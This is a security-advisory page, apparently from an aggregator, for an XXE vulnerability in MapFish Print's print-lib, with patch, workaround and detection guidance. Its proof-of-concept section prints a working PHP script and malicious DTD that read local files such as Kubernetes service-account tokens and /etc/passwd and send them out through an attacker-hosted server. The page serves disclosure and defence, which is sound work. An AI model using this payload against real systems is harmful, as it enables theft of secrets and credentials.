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CVE-2026-55848 high CVSS 8.6

XXE (XML External Entity) in org.mapfish.print:print-lib (CVE-2026-55848)

Summary

Vulnerability in org.mapfish.print:print-lib (CVE-2026-55848). Confidential information can be exposed externally. Mitigation: upgrade to 4.0.5 or later.

Original description

The description as published by the source.

Summary

XXE on MapFish Print allows reading arbitrary files of certain types. Eg /etc/passwd or k8 secrets and certs.

https://github.com/mapfish/mapfish-print/commit/13020c0fbc299e5f604e4e66066311c4bf04d507

Details

To trigger the XXE it is required to host a remote script and dtd file. When using the Print feature its possible to send the attacker server url as url of the gml layer.

The 404 not found path when using the gml Layer will expand the content of the file as path and throw a default 404 with the full content as path.

PoC

Host this php file somewhere as xxe.php:

<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https')."://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
 <!ENTITY % payload SYSTEM \"file://$p\">
 <!ENTITY % dtd SYSTEM \"$u\">
 %dtd;
]>

<!-- ".str_repeat('x',200)." -->
unknown
";

and beneath host this "evil.dtd"

<!ENTITY % exfil "<!ENTITY &#37; error SYSTEM 'file:///xxe-exfil/%payload;'>"> %exfil; %error;

Now send a single curl request against your mapfish print server and include your hosted poc url as gml layer url with the path attached you would like to exfil. It will exfil /var/run/secrets/kubernetes.io/serviceaccount/token (most likely your local test setup wont have it, then just replace the path with /etc/passwd or similar plain files)

`curl -sk 'https://mapfish/api/print3/print/mapviewer/buildre…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-55848 has been found in org.mapfish.print:print-lib.
Confidential information can be exposed externally. CVSS score: 8.6/10.
What to do: upgrade org.mapfish.print:print-lib to 4.0.5 or later.
If unsure, ask your IT team or search "org.mapfish.print:print-lib CVE-2026-55848" on the vendor's site.

CVE-2026-55848 (org.mapfish.print:print-lib) — CWE-611 / CVSS v3 8.6
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Patched: 4.0.5 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-611) exists in org.mapfish.print:print-lib.

📍 Affected scope

Check the vendor advisory for the affected versions of org.mapfish.print:print-lib.

🔥 Severity

Severity: High (CVSS 8.6/10). Confidential information can be exposed externally.

🔧 How to fix

Update to 4.0.5.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Audit SBOM/dependencies to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    Audit SBOM/dependencies for affected components.

    資産台帳・SBOM・依存マニフェストで org.mapfish.print:print-lib を使っているサービスとバージョンを洗い出す。

  2. 2
    Apply patch patch 
    Upgrade org.mapfish.print:print-lib to 4.0.5

    ステージング環境で 4.0.5 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

maven org.mapfish.print:print-lib
[{"type":"ECOSYSTEM","events":[{"introduced":"3.34.0"},{"fixed":"4.0.5"}]}]
maven org.mapfish:print.print-servlet
[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.28.30"}]}]
maven org.mapfish.print:print-servlet
[{"type":"ECOSYSTEM","events":[{"introduced":"3.34.0"},{"fixed":"4.0.5"}]}]

References

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